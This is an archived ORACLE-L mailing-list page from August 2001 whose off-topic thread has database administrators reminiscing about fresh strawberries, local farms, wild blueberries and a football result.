 I count myself lucky, I didn't have to call Support, we didn't have
problems
 until after the reboot at 8:30 pm instead of during the middle of the day,
 and it's been a week without any other problems.

 Thanks!

 Linda
 --
 Please see the official ORACLE-L FAQ: http://www.orafaq.com
 --
 Author: Seley, Linda
   INET: [EMAIL PROTECTED]

 Fat City 

RE: OT about to peeve off the vegatarians: RE: OT RE: Largest

2001-08-02 Thread Garner, John (NESL-IT)

Toppa result

Only Villa to beat and we are in Europe..

-Original Message-
Sent: 02 August 2001 13:52
To: Multiple recipients of list ORACLE-L


Wahey, 

Good result last night.



-Original Message-
[mailto:[EMAIL PROTECTED]]
Sent: 02 August 2001 11:50
To: Multiple recipients of list ORACLE-L


The Geordies get everywhere

Aa The Blaydon races..

-Original Message-
Sent: 02 August 2001 08:00
To: Multiple recipients of list ORACLE-L


I guess thats one of the things we have going for us in little old England.
Where I live in the North East of England (Northumberland to be precise)
there are a whole host of farms where you can go and pick your own within
between 5 and 20 minutes drive from my house.

Aaaah!

Lee


-Original Message-
Sent: 02 August 2001 01:55
To: Multiple recipients of list ORACLE-L


Cherie,


You guys are making me soo jealous. (and so hungry for fresh 
strawberries!)

Rachel

From: [EMAIL PROTECTED]
Reply-To: [EMAIL PROTECTED]
To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED]
Subject: RE: OT about to peeve off the vegatarians: RE: OT RE: Largest
Date: Wed, 01 Aug 2001 13:38:35 -0800


Rachel,

When I worked at Rockwell in Anaheim (Southern California - sort of a
suburb of Los Angeles),
I used to drive right past a strawberry field every night on my way home
from work.  Most of the berries
would be picked and shipped to market or wherever but there was always a
small stand at the
edge of the field where you could stop and buy direct from the grower.

It was strange to find a strawberry field in the middle of the city.   That
was fifteen years ago.
I'm not sure if it's still there - what with the high price of real estate
in that area.

Anyway, the taste was just as April described it.  Warm and damp and
flavorful.  The smell alone
would make me stop.

Every summer I long for those strawberries and I've yet to find anything
close here in the Midwest.

Cherie Machler
nostalgic for a few things about Southern California - like the produce
markets




 Rachel
 Carmichael  To: Multiple recipients of 
list ORACLE-L [EMAIL PROTECTED]
 carmichr@hotcc:
 mail.comSubject: RE: OT about to 
peeve off the vegatarians: RE: OT RE:
 Sent by: Largest
 root@fatcity.
 com


 08/01/01
 03:15 PM
 Please
 respond to
 ORACLE-L






April,

Okay, now tell me WHERE I can get those?  The ones from the greenmarket are

already insanely wonderful, I'm not sure I could stand anything more
intense
:)

Rachel


 From: April Wells [EMAIL PROTECTED]
 Reply-To: [EMAIL PROTECTED]
 To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED]
 Subject: RE: OT about to peeve off the vegatarians: RE: OT RE: Largest
 Date: Wed, 01 Aug 2001 10:37:19 -0800
 
 Rachel,
 
 You need to try strawberries, warm from the sun, wet from the irrigation
 system, with the light dusty dirt still crunching on them.
 
 April
 
 -Original Message-
 Sent: Wednesday, August 01, 2001 12:17 AM
 To: Multiple recipients of list ORACLE-L
 
 
 Ian,
 
 You have my sympathies for your struggles. And my respect for how you 
seem
 to be dealing with them. My husband was a hemophiliac. Just living with
 that
 
 as an adult was hard. To live with a genetic disorder in a child must be
 infinitely harder. I have an enormous respect for my mother-in-law who
 raised such a child and did not wrap him in cotton-wool, in case he got
 hurt.
 
 You are in CA, where you can get a much better assortment of
 non-store-bought produce than I can here in NYC, although I tend to
 frequent
 
 the greenmarkets and try to buy what is in season when I buy in stores.
 Even
 
 then, store-bought doesn't taste as good as fresh-picked. I have 
converted
 one person at work to never eating store-bought strawberries again, he
 tried
 
 some from the greenmarket when they were in season and was convinced.
 
 Rachel
 
 
  From: MacGregor, Ian A. [EMAIL PROTECTED]
  Reply-To: [EMAIL PROTECTED]
  To: Multiple recipients of list ORACLE-L [EMAIL PROTECTED]
  Subject: RE: OT about to peeve off the vegatarians: RE: OT RE: Largest
  Date: Tue, 31 Jul 2001 15:15:35 -0800
  
  So where do I get my woolly mammoth steaks.  What was the life
expectancy
  of early hominids?  I don't know about Maine Blue Berries, but wild
  blueberries in Nova Scotia are just as sweet if not sweeter than the
 store
  bought ones.
  
  Where in a reputable peer-reviewed journal can one find an article 
store
  bought food is less nutritious than wild food.  The purpose of fruit is
 to
  be eaten, the seeds passing through the digestive  system intact to be
  planted with a little fertilizer.  The sweeter the fruit, the more
 animals
  are attracted, the 

  1   2   >